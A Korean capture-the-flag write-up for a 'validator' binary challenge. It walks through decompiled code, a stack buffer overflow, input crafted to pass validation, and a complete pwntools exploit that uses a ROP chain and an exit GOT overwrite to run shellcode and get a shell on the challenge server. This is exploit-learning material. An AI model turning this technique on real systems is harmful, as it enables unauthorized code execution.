

Partial RELRO만 적용되어 있습니다.
문제의 압축파일을 해제했는데 소스 파일이 없습니다. 이런 경우 IDA같은 툴을 사용해 디컴파일을 하여 문제를 해결할 수 있습니다.
다음은 IDA로 validator_dist를 연 화면입니다.

이제 f5를 눌러 디컴파일해서 main 함수를 살펴보겠습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
validate(s, 128LL);
return 0;
}
read에서 스택 버퍼 오버플로우를 할 수 있습니다. 이제 validate 함수를 살펴보겠습니다.
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != correct[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
함수의 동작을 간단하게 설명하면 a1[0:10]이 correct와 맞는지 비교한 후, a1[11:a2] 범위에서는 a1[n] == a1[n+1] + 1 을 만족하는지를 확인하고 조건을 만족하지 않으면 프로그램을 종료하는 함수입니다.
Partial RELRO가 적용되어 있으므로 GOT overwrite가 가능합니다. validate 함수를 통과할 수 있도록 데이터를 넣고 got overwrite를 수행하면 될 것 같습니다.
validate의 첫 부분은 a1의 첫 10 바이트와 correct를 비교하여 다르면 프로그램을 종료합니다. 여기서 correct를 구해보겠습니다.

디컴파일된 코드에서 correct를 더블 클릭하면 correct가 "DREAMHACK!"이라는 것을 알 수 있습니다.
validate의 두 번째 부분은 a1[11:a2]의 범위에서 a1[n] == a1[n+1] + 1을 만족하는지 확인합니다.
validate 함수를 통과할 수 있도록 payload를 구성해 보겠습니다.
p = remote("host1.dreamhack.games", 21294)
e = ELF("./validator_server")
context.arch = "amd64"
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
payload = b"DREAMHACK!"
lst = []
for i in range(126, 0, -1):
lst.append(i)
payload += bytes(lst)
여기서 validate의 a2는 128이므로 첫 조건인 DREAMHACK!을 제외하고 118바이트만 for 문으로 채우면 됩니다. 저는 118 바이트에 sfp 8 바이트까지 한 번에 채우기 위해 126 바이트를 채웠습니다.
이제 got overwrite로 셸을 얻겠습니다.
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(e.got["exit"]) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt["read"])
payload += p64(e.got["exit"])
p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()
전체 코드는 아래와 같습니다.
from pwn import *
p = remote("host1.dreamhack.games", 21294)
e = ELF("./validator_server")
context.arch = "amd64"
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
payload = b"DREAMHACK!"
lst = []
for i in range(126, 0, -1):
lst.append(i)
payload += bytes(lst)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(e.got["exit"]) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt["read"])
payload += p64(e.got["exit"])
p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()
실행하면 셸을 얻을 수 있습니다.
